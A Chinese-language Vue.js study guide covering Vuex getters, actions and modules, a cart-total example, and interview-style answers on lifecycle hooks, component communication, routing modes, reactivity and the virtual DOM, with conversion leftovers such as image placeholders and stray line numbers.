{width="5.761805555555555in" height="0.4083333333333333in"}

mapGetters 辅助函数可以是将 store 中的 getter 映射到局部计算属性:

{width="5.7659722222222225in" height="2.1972222222222224in"}

我们也可以通过让 getter 返回一个函数,来实现给 getter 传参。在对 store 里的数组进行查询时非常有用。

{width="5.759722222222222in" height="1.5715277777777779in"}

# 5.8.6 Action

Action 类似于mutation,不同在于:

Action 提交的是 mutation,而不是直接变更状态。

Action可以包含任意异步操作。

{width="5.7659722222222225in" height="2.7in"}

Action 函数接受一个与 store 实例具有相同方法和属性的 context 对象,因此可以调用 context.commit 提交一个 mutation,或者通过 context.state 和 context.getters 来获取 state 和 getters。

分发 Action

Action 通过 store.dispatch 方法触发:

{width="5.7625in" height="0.38819444444444445in"}

或者使用 mapActions 辅助函数将组件的 methods 映射为 store.dispatch 调用:

{width="5.7625in" height="3.0145833333333334in"}

乍一眼看上去感觉多此一举,我们直接分发 mutation 岂不更方便?但是mutation 必须同步执行,action不受限制,可以执行异步操作。

{width="5.761805555555555in" height="1.4402777777777778in"}

# 5.8.7 Module

由于使用单一状态树,应用的所有状态会集中到一个比较大的对象。当应用变得非常复杂时,store 对象就有可能变得相当臃肿。

为了解决以上问题,Vuex 允许我们将 store 分割成模块(module)。每个模块拥有自己的 state、mutation、action、getter、甚至是嵌套子模块------从上至下进行同样方式的分割。

{width="5.759027777777778in" height="3.85625in"}

总结:

Vuex管理公共数据,在任何组件中都可以使用Vuex中的数据。

{width="5.763888888888889in" height="5.170138888888889in"}① Vue Components 是我们的 vue 组件,组件会触发(dispatch)一些事件或动作,也就是图中的 Actions;

② 我们在组件中发出的动作,肯定是想获取或者改变数据的,但是在 vuex 中,数据是集中管理的,我们不能直接去更改数据,所以会把这个动作提交(Commit)到 Mutations 中; ③ 然后 Mutations 就去改变(Mutate)State 中的数据;

④ 当 State 中的数据被改变之后,就会重新渲染(Render)到 Vue Components 中去,组件展示更新后的数据,完成一个流程。

# 5.9【Vuex案例】计算商品总价

在Vuex仓库中定义商品的单价和数量,添加数量和减少数量的nutations方法,并定义得到商品总价的getters。

{width="5.7659722222222225in" height="5.040972222222222in"}

创建vuex.vue组件,在组件中定义添加商品和减少商品的按钮,并展示商品的总数和总价。

{width="5.761111111111111in" height="2.2131944444444445in"}

{width="5.7652777777777775in" height="5.834027777777778in"}

Vue脚手架是一个专门为单页面应用快速搭建繁杂的脚手架,它可以轻松的创建新的应用程序而且可用于自动生成vue和webpack的项目模板。

在Vue脚手架搭建的项目中我们可以使用单文件组件,可以使用Axios发送HTTP请求,可可以使用Vant框架进行界面的搭建。

在Vue脚手架下我们同样可以使用Router进行路由跳转,也可以使用Vuex进行状态管理。

# 5.10说说你对 SPA 单页面的理解,它的优缺点分别是什么?

SPA( single-page application )仅在 Web 页面初始化时加载相应的 HTML、JavaScript 和 CSS。一旦页面加载完成,SPA 不会因为用户的操作而进行页面的重新加载或跳转;取而代之的是利用路由机制实现 HTML 内容的变换,UI 与用户的交互,避免页面的重新加载。

优点:

  • 用户体验好、快,内容的改变不需要重新加载整个页面,避免了不必要的跳转和重复渲染;

  • 基于上面一点,SPA 相对对服务器压力小;

  • 前后端职责分离,架构清晰,前端进行交互逻辑,后端负责数据处理;

缺点:

  • 初次加载耗时多:为实现单页 Web 应用功能及显示效果,需要在加载页面的时候将 JavaScript、CSS 统一加载,部分页面按需加载;

  • 前进后退路由管理:由于单页应用在一个页面中显示所有的内容,所以不能使用浏览器的前进后退功能,所有的页面切换需要自己建立堆栈管理;

  • SEO 难度较大:由于所有的内容都在一个页面中动态替换显示,所以在 SEO 上其有着天然的弱势。

# 5.11 v-show 与 v-if 有什么区别?

v-if真正的条件渲染,因为它会确保在切换过程中条件块内的事件监听器和子组件适当地被销毁和重建;也是惰性的:如果在初始渲染时条件为假,则什么也不做------直到条件第一次变为真时,才会开始渲染条件块。

v-show 就简单得多------不管初始条件是什么,元素总是会被渲染,并且只是简单地基于 CSS 的 "display" 属性进行切换。

所以,v-if 适用于在运行时很少改变条件,不需要频繁切换条件的场景;v-show 则适用于需要非常频繁切换条件的场景。

# 5.12 Class 与 Style 如何动态绑定?

Class 可以通过对象语法和数组语法进行动态绑定:

  • 对象语法:

<div v-bind:class="{ active: isActive, 'text-danger': hasError }"></div>

data: {

isActive: true,

hasError: false

}

复制代码

  • 数组语法:

<div v-bind:class="[isActive ? activeClass : '', errorClass]"></div>

data: {

activeClass: 'active',

errorClass: 'text-danger'

}

复制代码

Style 也可以通过对象语法和数组语法进行动态绑定:

  • 对象语法:

<div v-bind:style="{ color: activeColor, fontSize: fontSize + 'px' }"></div>

data: {

activeColor: 'red',

fontSize: 30

}

复制代码

  • 数组语法:

<div v-bind:style="[styleColor, styleSize]"></div>

data: {

styleColor: {

color: 'red'

},

styleSize:{

fontSize:'23px'

}

}

复制代码

# 5.13怎样理解 Vue 的单向数据流?

所有的 prop 都使得其父子 prop 之间形成了一个单向下行绑定:父级 prop 的更新会向下流动到子组件中,但是反过来则不行。这样会防止从子组件意外改变父级组件的状态,从而导致你的应用的数据流向难以理解。

额外的,每次父级组件发生更新时,子组件中所有的 prop 都将会刷新为最新的值。这意味着你不应该在一个子组件内部改变 prop。如果你这样做了,Vue 会在浏览器的控制台中发出警告。子组件想修改时,只能通过 $emit 派发一个自定义事件,父组件接收到后,由父组件修改。

有两种常见的试图改变一个 prop 的情形 :

  • 这个 prop 用来传递一个初始值;这个子组件接下来希望将其作为一个本地的 prop 数据来使用。 在这种情况下,最好定义一个本地的 data 属性并将这个 prop 用作其初始值:

props: ['initialCounter'],

data: function () {

return {

counter: this.initialCounter

}

}

复制代码

  • 这个 prop 以一种原始的值传入且需要进行转换。 在这种情况下,最好使用这个 prop 的值来定义一个计算属性

props: ['size'],

computed: {

normalizedSize: function () {

return this.size.trim().toLowerCase()

}

}

# 5.14 computed 和 watch 的区别和运用的场景?

computed: 是计算属性,依赖其它属性值,并且 computed 的值有缓存,只有它依赖的属性值发生改变,下一次获取 computed 的值时才会重新计算 computed 的值;

watch: 更多的是「观察」的作用,类似于某些数据的监听回调 ,每当监听的数据变化时都会执行回调进行后续操作;

运用场景:

  • 当我们需要进行数值计算,并且依赖于其它数据时,应该使用 computed,因为可以利用 computed 的缓存特性,避免每次获取值时,都要重新计算;

  • 当我们需要在数据变化时执行异步或开销较大的操作时,应该使用 watch,使用 watch 选项允许我们执行异步操作 ( 访问一个 API ),限制我们执行该操作的频率,并在我们得到最终结果前,设置中间状态。这些都是计算属性无法做到的。

# 5.15 直接给一个数组项赋值,Vue 能检测到变化吗?

由于 JavaScript 的限制,Vue 不能检测到以下数组的变动:

  • 当你利用索引直接设置一个数组项时,例如:vm.items[indexOfItem] = newValue

  • 当你修改数组的长度时,例如:vm.items.length = newLength

为了解决第一个问题,Vue 提供了以下操作方法:

// Vue.set

Vue.set(vm.items, indexOfItem, newValue)

// vm.\$set,Vue.set的一个别名

vm.\$set(vm.items, indexOfItem, newValue)

// Array.prototype.splice

vm.items.splice(indexOfItem, 1, newValue)

1
2
3
4
5
6
7
8
9
10
11
12

为了解决第二个问题,Vue 提供了以下操作方法:

// Array.prototype.splice

vm.items.splice(newLength)

1
2
3
4

# 5.16 谈谈你对 Vue 生命周期的理解?

(1)生命周期是什么?

Vue 实例有一个完整的生命周期,也就是从开始创建、初始化数据、编译模版、挂载 Dom -> 渲染、更新 -> 渲染、卸载等一系列过程,我们称这是 Vue 的生命周期。

(2)各个生命周期的作用


生命周期 描述


beforeCreate 组件实例被创建之初,组件的属性生效之前

created 组件实例已经完全创建,属性也绑定,但真实 dom 还没有生成,$el 还不可用

beforeMount 在挂载开始之前被调用:相关的 render 函数首次被调用

mounted el 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子

beforeUpdate 组件数据更新之前调用,发生在虚拟 DOM 打补丁之前

update 组件数据更新之后

activited keep-alive 专属,组件被激活时调用

deadctivated keep-alive 专属,组件被销毁时调用

beforeDestory 组件销毁前调用

# destoryed 组件销毁后调用

(3)生命周期示意图

../../../../16ca74f183827f46.jpg{width="5.759722222222222in" height="6.455555555555556in"}

# 5.17 Vue 的父组件和子组件生命周期钩子函数执行顺序?

Vue 的父组件和子组件生命周期钩子函数执行顺序可以归类为以下 4 部分:

  • 加载渲染过程

父 beforeCreate -> 父 created -> 父 beforeMount -> 子 beforeCreate -> 子 created -> 子 beforeMount -> 子 mounted -> 父 mounted

  • 子组件更新过程

父 beforeUpdate -> 子 beforeUpdate -> 子 updated -> 父 updated

  • 父组件更新过程

父 beforeUpdate -> 父 updated

  • 销毁过程

父 beforeDestroy -> 子 beforeDestroy -> 子 destroyed -> 父 destroyed

# 5.18 在哪个生命周期内调用异步请求?

可以在钩子函数 created、beforeMount、mounted 中进行调用,因为在这三个钩子函数中,data 已经创建,可以将服务端端返回的数据进行赋值。但是本人推荐在 created 钩子函数中调用异步请求,因为在 created 钩子函数中调用异步请求有以下优点:

  • 能更快获取到服务端数据,减少页面 loading 时间;

  • ssr 不支持 beforeMount 、mounted 钩子函数,所以放在 created 中有助于一致性;

# 5.19在什么阶段才能访问操作DOM?

在钩子函数 mounted 被调用前,Vue 已经将编译好的模板挂载到页面上,所以在 mounted 中可以访问操作 DOM。

# 5.20父组件可以监听到子组件的生命周期吗?

比如有父组件 Parent 和子组件 Child,如果父组件监听到子组件挂载 mounted 就做一些逻辑处理,可以通过以下写法实现:

// Parent.vue

\<Child \@mounted=\"doSomething\"/>

// Child.vue

mounted() {

this.\$emit(\"mounted\");

}

1
2
3
4
5
6
7
8
9
10
11
12

以上需要手动通过 $emit 触发父组件的事件,更简单的方式可以在父组件引用子组件时通过 @hook 来监听即可,如下所示:

// Parent.vue

\<Child \@hook:mounted=\"doSomething\" \>\</Child>

doSomething() {

console.log(\'父组件监听到 mounted 钩子函数 \...\');

},

// Child.vue

mounted(){

console.log(\'子组件触发 mounted 钩子函数 \...\');

},

// 以上输出顺序为:

// 子组件触发 mounted 钩子函数 \...

// 父组件监听到 mounted 钩子函数 \...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

当然 @hook 方法不仅仅是可以监听 mounted,其它的生命周期事件,例如:created,updated 等都可以监听。

# 5.21谈谈你对 keep-alive 的了解?

keep-alive 是 Vue 内置的一个组件,可以使被包含的组件保留状态,避免重新渲染 ,其有以下特性:

  • 一般结合路由和动态组件一起使用,用于缓存组件;

  • 提供 include 和 exclude 属性,两者都支持字符串或正则表达式, include 表示只有名称匹配的组件会被缓存,exclude 表示任何名称匹配的组件都不会被缓存 ,其中 exclude 的优先级比 include 高;

  • 对应两个钩子函数 activated 和 deactivated ,当组件被激活时,触发钩子函数 activated,当组件被移除时,触发钩子函数 deactivated。

# 5.22组件中 data 为什么是一个函数?

为什么组件中的 data 必须是一个函数,然后 return 一个对象,而 new Vue 实例里,data 可以直接是一个对象?

// data

data() {

return {

message: \"子组件\",

childName:this.name

}

}

// new Vue

new Vue({

el: \'#app\',

router,

template: \'\<App/>\',

components: {App}

})

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

因为组件是用来复用的,且 JS 里对象是引用关系,如果组件中 data 是一个对象,那么这样作用域没有隔离,子组件中的 data 属性值会相互影响,如果组件中 data 选项是一个函数,那么每个实例可以维护一份被返回对象的独立的拷贝,组件实例之间的 data 属性值不会互相影响;而 new Vue 的实例,是不会被复用的,因此不存在引用对象的问题。

# 5.23 v-model 的原理?

我们在 vue 项目中主要使用 v-model 指令在表单 input、textarea、select 等元素上创建双向数据绑定,我们知道 v-model 本质上不过是语法糖,v-model 在内部为不同的输入元素使用不同的属性并抛出不同的事件:

  • text 和 textarea 元素使用 value 属性和 input 事件;

  • checkbox 和 radio 使用 checked 属性和 change 事件;

  • select 字段将 value 作为 prop 并将 change 作为事件。

以 input 表单元素为例:

\<input v-model=\'something\'\>
1

相当于

\<input v-bind:value=\"something\" v-on:input=\"something = \$event.target.value\"\>

1
2

如果在自定义组件中,v-model 默认会利用名为 value 的 prop 和名为 input 的事件,如下所示:

父组件:

\<ModelChild v-model=\"message\"\>\</ModelChild>
1

子组件:

\<div>{{value}}\</div>

props:{

value: String

},

methods: {

test1(){

this.\$emit(\'input\', \'小红\')

},

},
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 5.23 Vue 组件间通信有哪几种方式?

Vue 组件间通信是面试常考的知识点之一,这题有点类似于开放题,你回答出越多方法当然越加分,表明你对 Vue 掌握的越熟练。Vue 组件间通信只要指以下 3 类通信:父子组件通信、隔代组件通信、兄弟组件通信,下面我们分别介绍每种通信方式且会说明此种方法可适用于哪类组件间通信。

(1)props / $emit 适用 父子组件通信

这种方法是 Vue 组件的基础,相信大部分同学耳闻能详,所以此处就不举例展开介绍。

(2)ref 与 $parent / $children 适用 父子组件通信

ref:如果在普通的 DOM 元素上使用,引用指向的就是 DOM 元素;如果用在子组件上,引用就指向组件实例

$parent / $children:访问父 / 子实例

(3)EventBus ($emit / $on) 适用于 父子、隔代、兄弟组件通信

这种方法通过一个空的 Vue 实例作为中央事件总线(事件中心),用它来触发事件和监听事件,从而实现任何组件间的通信,包括父子、隔代、兄弟组件。

(4)$attrs/$listeners 适用于 隔代组件通信

$attrs:包含了父作用域中不被 prop 所识别 (且获取) 的特性绑定 ( class 和 style 除外 )。当一个组件没有声明任何 prop 时,这里会包含所有父作用域的绑定 ( class 和 style 除外 ),并且可以通过 v-bind="$attrs" 传入内部组件。通常配合 inheritAttrs 选项一起使用。

$listeners:包含了父作用域中的 (不含 .native 修饰器的) v-on 事件监听器。它可以通过 v-on="$listeners" 传入内部组件

(5)provide / inject 适用于 隔代组件通信

祖先组件中通过 provider 来提供变量,然后在子孙组件中通过 inject 来注入变量。 provide / inject API 主要解决了跨级组件间的通信问题,不过它的使用场景,主要是子组件获取上级组件的状态,跨级组件间建立了一种主动提供与依赖注入的关系。

(6)Vuex 适用于 父子、隔代、兄弟组件通信

Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。每一个 Vuex 应用的核心就是 store(仓库)。"store" 基本上就是一个容器,它包含着你的应用中大部分的状态 ( state )。

Vuex 的状态存储是响应式的。当 Vue 组件从 store 中读取状态的时候,若 store 中的状态发生变化,那么相应的组件也会相应地得到高效更新。

改变 store 中的状态的唯一途径就是显式地提交 (commit) mutation。这样使得我们可以方便地跟踪每一个状态的变化。

# 5.24你使用过 Vuex 吗?

Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。每一个 Vuex 应用的核心就是 store(仓库)。"store" 基本上就是一个容器,它包含着你的应用中大部分的状态 ( state )。

(1)Vuex 的状态存储是响应式的。当 Vue 组件从 store 中读取状态的时候,若 store 中的状态发生变化,那么相应的组件也会相应地得到高效更新。

(2)改变 store 中的状态的唯一途径就是显式地提交 (commit) mutation。这样使得我们可以方便地跟踪每一个状态的变化。

主要包括以下几个模块:

  • State:定义了应用状态的数据结构,可以在这里设置默认的初始状态。

  • Getter:允许组件从 Store 中获取数据,mapGetters 辅助函数仅仅是将 store 中的 getter 映射到局部计算属性。

  • Mutation:是唯一更改 store 中状态的方法,且必须是同步函数。

  • Action:用于提交 mutation,而不是直接变更状态,可以包含任意异步操作。

  • Module:允许将单一的 Store 拆分为多个 store 且同时保存在单一的状态树中。

# 5.25使用过 Vue SSR 吗?说说 SSR?

Vue.js 是构建客户端应用程序的框架。默认情况下,可以在浏览器中输出 Vue 组件,进行生成 DOM 和操作 DOM。然而,也可以将同一个组件渲染为服务端的 HTML 字符串,将它们直接发送到浏览器,最后将这些静态标记"激活"为客户端上完全可交互的应用程序。

即:SSR大致的意思就是vue在客户端将标签渲染成的整个 html 片段的工作在服务端完成,服务端形成的html 片段直接返回给客户端这个过程就叫做服务端渲染。

服务端渲染 SSR 的优缺点如下:

(1)服务端渲染的优点:

更好的 SEO: 因为 SPA 页面的内容是通过 Ajax 获取,而搜索引擎爬取工具并不会等待 Ajax 异步完成后再抓取页面内容,所以在 SPA 中是抓取不到页面通过 Ajax 获取到的内容;而 SSR 是直接由服务端返回已经渲染好的页面(数据已经包含在页面中),所以搜索引擎爬取工具可以抓取渲染好的页面;

更快的内容到达时间(首屏加载更快): SPA 会等待所有 Vue 编译后的 js 文件都下载完成后,才开始进行页面的渲染,文件下载等需要一定的时间等,所以首屏渲染需要一定的时间;SSR 直接由服务端渲染好页面直接返回显示,无需等待下载 js 文件及再去渲染等,所以 SSR 有更快的内容到达时间;

(2) 服务端渲染的缺点:

更多的开发条件限制: 例如服务端渲染只支持 beforCreate 和 created 两个钩子函数,这会导致一些外部扩展库需要特殊处理,才能在服务端渲染应用程序中运行;并且与可以部署在任何静态文件服务器上的完全静态单页面应用程序 SPA 不同,服务端渲染应用程序,需要处于 Node.js server 运行环境;

更多的服务器负载:在 Node.js 中渲染完整的应用程序,显然会比仅仅提供静态文件的 server 更加大量占用CPU 资源 (CPU-intensive - CPU 密集),因此如果你预料在高流量环境 ( high traffic ) 下使用,请准备相应的服务器负载,并明智地采用缓存策略。

# 5.26 vue-router 路由模式有几种?

vue-router 有 3 种路由模式:hash、history、abstract,对应的源码如下所示:

switch (mode) {

case 'history':

this.history = new HTML5History(this, options.base)

break

case 'hash':

this.history = new HashHistory(this, options.base, this.fallback)

break

case 'abstract':

this.history = new AbstractHistory(this, options.base)

break

default:

if (process.env.NODE_ENV !== 'production') {

assert(false, `invalid mode: ${mode}`)

}

}

复制代码

其中,3 种路由模式的说明如下:

  • hash: 使用 URL hash 值来作路由。支持所有浏览器,包括不支持 HTML5 History Api 的浏览器;

  • history : 依赖 HTML5 History API 和服务器配置。具体可以查看 HTML5 History 模式;

  • abstract : 支持所有 JavaScript 运行环境,如 Node.js 服务器端。如果发现没有浏览器的 API,路由会自动强制进入这个模式.

# 5.27能说下 vue-router 中常用的 hash 和 history 路由模式实现原理吗?

(1)hash 模式的实现原理

早期的前端路由的实现就是基于 location.hash 来实现的。其实现原理很简单,location.hash 的值就是 URL 中 # 后面的内容。比如下面这个网站,它的 location.hash 的值为 '#search':

https://www.word.com#search

复制代码

hash 路由模式的实现主要是基于下面几个特性:

URL 中 hash 值只是客户端的一种状态,也就是说当向服务器端发出请求时,hash 部分不会被发送;

hash 值的改变,都会在浏览器的访问历史中增加一个记录。因此我们能通过浏览器的回退、前进按钮控制hash 的切换;

可以通过 a 标签,并设置 href 属性,当用户点击这个标签后,URL 的 hash 值会发生改变;或者使用  JavaScript 来对 loaction.hash 进行赋值,改变 URL 的 hash 值;

我们可以使用 hashchange 事件来监听 hash 值的变化,从而对页面进行跳转(渲染)。

(2)history 模式的实现原理

HTML5 提供了 History API 来实现 URL 的变化。其中做最主要的 API 有以下两个:history.pushState() 和 history.repalceState()。这两个 API 可以在不进行刷新的情况下,操作浏览器的历史纪录。唯一不同的是,前者是新增一个历史记录,后者是直接替换当前的历史记录,如下所示:

window.history.pushState(null, null, path);

window.history.replaceState(null, null, path);

复制代码

history 路由模式的实现主要基于存在下面几个特性:

pushState 和 repalceState 两个 API 来操作实现 URL 的变化 ;

我们可以使用 popstate 事件来监听 url 的变化,从而对页面进行跳转(渲染);

history.pushState() 或 history.replaceState() 不会触发 popstate 事件,这时我们需要手动触发页面跳转(渲染)。

# 5.28什么是 MVVM?

Model--View--ViewModel (MVVM) 是一个软件架构设计模式,由微软 WPF 和 Silverlight 的架构师 Ken Cooper 和 Ted Peters 开发,是一种简化用户界面的事件驱动编程方式。由 John Gossman(同样也是 WPF 和 Silverlight 的架构师)于2005年在他的博客上发表

MVVM 源自于经典的 Model--View--Controller(MVC)模式 ,MVVM 的出现促进了前端开发与后端业务逻辑的分离,极大地提高了前端开发效率,MVVM 的核心是 ViewModel 层,它就像是一个中转站(value converter),负责转换 Model 中的数据对象来让数据变得更容易管理和使用,该层向上与视图层进行双向数据绑定,向下与 Model 层通过接口请求进行数据交互,起呈上启下作用。如下图所示:

(1)View 层

View 是视图层,也就是用户界面。前端主要由 HTML 和 CSS 来构建 。

(2)Model 层

Model 是指数据模型,泛指后端进行的各种业务逻辑处理和数据操控,对于前端来说就是后端提供的 api 接口。

(3)ViewModel 层

ViewModel 是由前端开发人员组织生成和维护的视图数据层。在这一层,前端开发者对从后端获取的 Model 数据进行转换处理,做二次封装,以生成符合 View 层使用预期的视图数据模型。需要注意的是 ViewModel 所封装出来的数据模型包括视图的状态和行为两部分,而 Model 层的数据模型是只包含状态的,比如页面的这一块展示什么,而页面加载进来时发生什么,点击这一块发生什么,这一块滚动时发生什么这些都属于视图行为(交互),视图状态和行为都封装在了 ViewModel 里。这样的封装使得 ViewModel 可以完整地去描述 View 层。

MVVM 框架实现了双向绑定,这样 ViewModel 的内容会实时展现在 View 层,前端开发者再也不必低效又麻烦地通过操纵 DOM 去更新视图,MVVM 框架已经把最脏最累的一块做好了,我们开发者只需要处理和维护 ViewModel,更新数据视图就会自动得到相应更新。这样 View 层展现的不是 Model 层的数据,而是 ViewModel 的数据,由 ViewModel 负责与 Model 层交互,这就完全解耦了 View 层和 Model 层,这个解耦是至关重要的,它是前后端分离方案实施的重要一环。

我们以下通过一个 Vue 实例来说明 MVVM 的具体实现,有 Vue 开发经验的同学应该一目了然:

(1)View 层

\<div id=\"app\"\>

\<p>{{message}}\</p>

\<button v-on:click=\"showMessage()\"\>Click me\</button>

\</div>
1
2
3
4
5
6
7

(2)ViewModel 层

var app = new Vue({

el: \'#app\',

data: { // 用于描述视图状态

message: \'Hello Vue!\',

},

methods: { // 用于描述视图行为

showMessage(){

let vm = this;

alert(vm.message);

}

},

created(){

let vm = this;

// Ajax 获取 Model 层的数据

ajax({

url: \'/your/server/data/api\',

success(res){

vm.message = res;

}

});

}

})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

(3) Model 层

{

\"url\": \"/your/server/data/api\",

\"res\": {

\"success\": true,

\"name\": \"IoveC\",

\"domain\": \"www.cnblogs.com\"

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 5.29 Vue 是如何实现数据双向绑定的?

Vue 数据双向绑定主要是指:数据变化更新视图,视图变化更新数据,如下图所示:

https://user-gold-cdn.xitu.io/2019/8/19/16ca75871f2e5f80?imageslim{width="3.723611111111111in" height="1.1583333333333334in"}

即:

  • 输入框内容变化时,Data 中的数据同步变化。即 View => Data 的变化。

  • Data 中的数据变化时,文本节点的内容同步变化。即 Data => View 的变化。

其中,View 变化更新 Data ,可以通过事件监听的方式来实现,所以 Vue 的数据双向绑定的工作主要是如何根据 Data 变化更新 View。

Vue 主要通过以下 4 个步骤来实现数据双向绑定的:

实现一个监听器 Observer:对数据对象进行遍历,包括子属性对象的属性,利用 Object.defineProperty() 对属性都加上 setter 和 getter。这样的话,给这个对象的某个值赋值,就会触发 setter,那么就能监听到了数据变化。

实现一个解析器 Compile:解析 Vue 模板指令,将模板中的变量都替换成数据,然后初始化渲染页面视图,并将每个指令对应的节点绑定更新函数,添加监听数据的订阅者,一旦数据有变动,收到通知,调用更新函数进行数据更新。

实现一个订阅者 Watcher:Watcher 订阅者是 Observer 和 Compile 之间通信的桥梁 ,主要的任务是订阅 Observer 中的属性值变化的消息,当收到属性值变化的消息时,触发解析器 Compile 中对应的更新函数。

实现一个订阅器 Dep:订阅器采用 发布-订阅 设计模式,用来收集订阅者 Watcher,对监听器 Observer 和 订阅者 Watcher 进行统一管理。

https://user-gold-cdn.xitu.io/2019/8/19/16ca75871f729d89?imageslim{width="8.177083333333334in" height="6.025in"}

# 5.30 Vue 框架怎么实现对象和数组的监听?

如果被问到 Vue 怎么实现数据双向绑定,大家肯定都会回答 通过 Object.defineProperty() 对数据进行劫持,但是 Object.defineProperty() 只能对属性进行数据劫持,不能对整个对象进行劫持,同理无法对数组进行劫持,但是我们在使用 Vue 框架中都知道,Vue 能检测到对象和数组(部分方法的操作)的变化,那它是怎么实现的呢?我们查看相关代码如下:

/**

* Observe a list of Array items.

*/

observeArray (items: Array<any>) {

for (let i = 0, l = items.length; i < l; i++) {

observe(items[i]) // observe 功能为监测数据的变化

}

}

/**

* 对属性进行递归遍历

*/

let childOb = !shallow && observe(val) // observe 功能为监测数据的变化

复制代码

通过以上 Vue 源码部分查看,我们就能知道 Vue 框架是通过遍历数组 和递归遍历对象,从而达到利用 Object.defineProperty() 也能对对象和数组(部分方法的操作)进行监听。

# 5.31 Proxy 与 Object.defineProperty 优劣对比

Proxy 的优势如下:

  • Proxy 可以直接监听对象而非属性;

  • Proxy 可以直接监听数组的变化;

  • Proxy 有多达 13 种拦截方法,不限于 apply、ownKeys、deleteProperty、has 等等是 Object.defineProperty 不具备的;

  • Proxy 返回的是一个新对象,我们可以只操作新的对象达到目的,而 Object.defineProperty 只能遍历对象属性直接修改;

  • Proxy 作为新标准将受到浏览器厂商重点持续的性能优化,也就是传说中的新标准的性能红利;

Object.defineProperty 的优势如下:

  • 兼容性好,支持 IE9,而 Proxy 的存在浏览器兼容性问题,而且无法用 polyfill 磨平,因此 Vue 的作者才声明需要等到下个大版本( 3.0 )才能用 Proxy 重写。

# 5.32 Vue 怎么用 vm.$set() 解决对象新增属性不能响应的问题 ?

受现代 JavaScript 的限制 ,Vue 无法检测到对象属性的添加或删除。由于 Vue 会在初始化实例时对属性执行 getter/setter 转化,所以属性必须在 data 对象上存在才能让 Vue 将它转换为响应式的。但是 Vue 提供了 Vue.set (object, propertyName, value) / vm.$set (object, propertyName, value) 来实现为对象添加响应式属性,那框架本身是如何实现的呢?

我们查看对应的 Vue 源码:vue/src/core/instance/index.js

export function set (target: Array\<any> \| Object, key: any, val: any): any {

// target 为数组

if (Array.isArray(target) && isValidArrayIndex(key)) {

// 修改数组的长度, 避免索引>数组长度导致splcie()执行有误

target.length = Math.max(target.length, key)

// 利用数组的splice变异方法触发响应式

target.splice(key, 1, val)

return val

}

// key 已经存在,直接修改属性值

if (key in target && !(key in Object.prototype)) {

target\[key\] = val

return val

}

const ob = (target: any).\_\_ob\_\_

// target 本身就不是响应式数据, 直接赋值

if (!ob) {

target\[key\] = val

return val

}

// 对属性进行响应式处理

defineReactive(ob.value, key, val)

ob.dep.notify()

return val

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

我们阅读以上源码可知,vm.$set 的实现原理是:

  • 如果目标是数组,直接使用数组的 splice 方法触发相应式;

  • 如果目标是对象,会先判读属性是否存在、对象是否是响应式,最终如果要对属性进行响应式处理,则是通过调用 defineReactive 方法进行响应式处理( defineReactive 方法就是 Vue 在初始化对象时,给对象属性采用 Object.defineProperty 动态添加 getter 和 setter 的功能所调用的方法)

# 5.33虚拟 DOM 的优缺点?

优点:

  • 保证性能下限: 框架的虚拟 DOM 需要适配任何上层 API 可能产生的操作,它的一些 DOM 操作的实现必须是普适的,所以它的性能并不是最优的;但是比起粗暴的 DOM 操作性能要好很多,因此框架的虚拟 DOM 至少可以保证在你不需要手动优化的情况下,依然可以提供还不错的性能,即保证性能的下限;

  • 无需手动操作 DOM: 我们不再需要手动去操作 DOM,只需要写好 View-Model 的代码逻辑,框架会根据虚拟 DOM 和 数据双向绑定,帮我们以可预期的方式更新视图,极大提高我们的开发效率;

  • 跨平台: 虚拟 DOM 本质上是 JavaScript 对象,而 DOM 与平台强相关,相比之下虚拟 DOM 可以进行更方便地跨平台操作,例如服务器渲染、weex 开发等等。

缺点:

  • 无法进行极致优化: 虽然虚拟 DOM + 合理的优化,足以应对绝大部分应用的性能需求,但在一些性能要求极高的应用中虚拟 DOM 无法进行针对性的极致优化。

# 5.34虚拟 DOM 实现原理?

虚拟 DOM 的实现原理主要包括以下 3 部分:

  • 用 JavaScript 对象模拟真实 DOM 树,对真实 DOM 进行抽象;

  • diff 算法 --- 比较两棵虚拟 DOM 树的差异;

  • pach 算法 --- 将两个虚拟 DOM 对象的差异应用到真正的 DOM 树。

# 5.35 Vue 中的 key 有什么作用?

key 是为 Vue 中 vnode 的唯一标记,通过这个 key,我们的 diff 操作可以更准确、更快速。Vue 的 diff 过程可以概括为:oldCh 和 newCh 各有两个头尾的变量 oldStartIndex、oldEndIndex 和 newStartIndex、newEndIndex,它们会新节点和旧节点会进行两两对比,即一共有4种比较方式:newStartIndex 和oldStartIndex 、newEndIndex 和 oldEndIndex 、newStartIndex 和 oldEndIndex 、newEndIndex 和 oldStartIndex,如果以上 4 种比较都没匹配,如果设置了key,就会用 key 再进行比较,在比较的过程中,遍历会往中间靠,一旦 StartIdx > EndIdx 表明 oldCh 和 newCh 至少有一个已经遍历完了,就会结束比较。

所以 Vue 中 key 的作用是:key 是为 Vue 中 vnode 的唯一标记,通过这个 key,我们的 diff 操作可以更准确、更快速

更准确:因为带 key 就不是就地复用了,在 sameNode 函数 a.key === b.key 对比中可以避免就地复用的情况。所以会更加准确。

更快速:利用 key 的唯一性生成 map 对象来获取对应节点,比遍历方式更快,源码如下:

function createKeyToOldIdx (children, beginIdx, endIdx) {

let i, key

const map = {}

for (i = beginIdx; i <= endIdx; ++i) {

key = children[i].key

if (isDef(key)) map[key] = i

}

return map

}

# 5.36你有对 Vue 项目进行哪些优化?

(1)代码层面的优化

v-if 和 v-show 区分使用场景

computed 和 watch 区分使用场景

v-for 遍历必须为 item 添加 key,且避免同时使用 v-if

长列表性能优化

事件的销毁

图片资源懒加载

路由懒加载

第三方插件的按需引入

优化无限列表性能

服务端渲染 SSR or 预渲染

(2)Webpack 层面的优化

Webpack 对图片进行压缩

减少 ES6 转为 ES5 的冗余代码

提取公共代码

模板预编译

提取组件的 CSS

优化 SourceMap
